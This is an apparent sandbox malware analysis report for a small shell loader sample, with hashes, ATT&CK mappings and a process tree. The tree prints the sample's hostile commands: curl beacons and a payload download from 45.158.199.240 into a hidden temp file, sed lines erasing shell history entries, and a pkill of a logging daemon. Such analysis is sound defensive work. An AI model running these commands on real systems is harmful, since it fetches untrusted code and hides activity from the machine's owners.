e5c5a71ce6ee862291715c1c04be8518be06a5367f8b2263b2e9d905e79f256c

Analysis

max time kernel
0s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20261019-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/11/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fd8dc70d485d
Size 4KB
Sample261102-phktbafa43
SHA256 e5c5a71ce6ee862291715c1c04be8518be06a5367f8b2263b2e9d905e79f256c
MD5 c1f5f07ec8259beb1ece1435caa1d3ec
SHA1 be0a1fc1ff908483e092f8e94bc9647bae76b4fc
SHA512 5302b2679a1d7aec06b00ae603a5f6037674990b9da85e33fe622302d398e0f7ce0f4f368ea9c1f144b8f11da8fa03ce512223cd868016afa2f208b321618b93
SSDEEP 96:qHpKgS6nxvurlvW+M5qkWoBJAspMwZyX3RJT5q8k:qJKgt9uZVKr8b5qN
TLSH
T1F39141F2FAA02E31794C806F74AD55812EC71D7F47E636649143FC98222D89C72BC276
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

credential_access defense_evasion discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
1549	sed

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1517	base64
1534	base64

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/158/cmdline	pkill
File opened for reading	/proc/547/status	pkill
File opened for reading	/proc/89/status	pkill
File opened for reading	/proc/873/cmdline	pkill
File opened for reading	/proc/1513/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/115/status	pkill
File opened for reading	/proc/163/cmdline	pkill
File opened for reading	/proc/200/cmdline	pkill
File opened for reading	/proc/654/status	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/169/cmdline	pkill
File opened for reading	/proc/483/cmdline	pkill
File opened for reading	/proc/641/status	pkill
File opened for reading	/proc/1039/cmdline	pkill
File opened for reading	/proc/1078/cmdline	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/34/cmdline	pkill
File opened for reading	/proc/585/cmdline	pkill
File opened for reading	/proc/1018/status	pkill
File opened for reading	/proc/1077/status	pkill
File opened for reading	/proc/1216/status	pkill
File opened for reading	/proc/1288/status	pkill
File opened for reading	/proc/1296/status	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/157/cmdline	pkill
File opened for reading	/proc/166/cmdline	pkill
File opened for reading	/proc/252/status	pkill
File opened for reading	/proc/1050/status	pkill
File opened for reading	/proc/35/cmdline	pkill
File opened for reading	/proc/157/status	pkill
File opened for reading	/proc/162/cmdline	pkill
File opened for reading	/proc/658/status	pkill
File opened for reading	/proc/1372/cmdline	pkill
File opened for reading	/proc/1481/status	pkill
File opened for reading	/proc/1509/status	pkill
File opened for reading	/proc/1526/cmdline	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/166/status	pkill
File opened for reading	/proc/987/cmdline	pkill
File opened for reading	/proc/1336/cmdline	pkill
File opened for reading	/proc/31/status	pkill
File opened for reading	/proc/83/status	pkill
File opened for reading	/proc/446/cmdline	pkill
File opened for reading	/proc/977/status	pkill
File opened for reading	/proc/1077/cmdline	pkill
File opened for reading	/proc/1083/status	pkill
File opened for reading	/proc/1319/status	pkill
File opened for reading	/proc/1335/cmdline	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/625/status	pkill
File opened for reading	/proc/897/cmdline	pkill
File opened for reading	/proc/1039/status	pkill
File opened for reading	/proc/1131/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/171/cmdline	pkill

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.786b0b0d8e90d430	curl
File opened for modification	/tmp/.786b0b0d8e90d430	curl
File opened for modification	/tmp/.786b0b0d8e90d430	curl

/tmp/fd8dc70d485d
/tmp/fd8dc70d485d
1⤵
PID:1513
- /usr/bin/arch
  arch
  2⤵
  PID:1514
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1517
- /usr/bin/whoami
  whoami
  2⤵
  PID:1522
- /usr/bin/arch
  arch
  2⤵
  PID:1523
- /bin/mktemp
  mktemp -d
  2⤵
  PID:1524
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.system
  2⤵
  PID:1525
- /usr/bin/pkill
  pkill -9 -f com.apple.syslogd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1526
- /bin/sleep
  sleep 0.1
  2⤵
  PID:1529
- /usr/bin/arch
  arch
  2⤵
  PID:1531
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1534
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:1538
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:1537
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:1536
- /bin/uname
  uname -m
  2⤵
  PID:1542
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"e3240127cf888f00\",\"src\":\"http://45.158.199.240/f370926555f69e1?force=1\"}" -m 5
  2⤵
  - Writes file to tmp directory
  PID:1541
- /usr/bin/id
  id -u
  2⤵
  PID:1545
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  PID:1547
- /usr/bin/curl
  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://45.158.199.240/afa932f75cd?force=1" -o /tmp/tmp.ckl79yje3b/.tFZDZY
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  PID:1549
- /usr/bin/arch
  arch
  2⤵
  PID:1550
- /bin/uname
  uname -r
  2⤵
  PID:1552
- /bin/rm
  rm -rf /tmp/tmp.ckl79yje3b
  2⤵
  PID:1554
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"e3240127cf888f00\",\"src\":\"http://45.158.199.240/f370926555f69e1?force=1\"}" -m 3
  2⤵
  - Writes file to tmp directory
  PID:1553

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Unsecured Credentials

T1552

Bash History

T1552.003

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads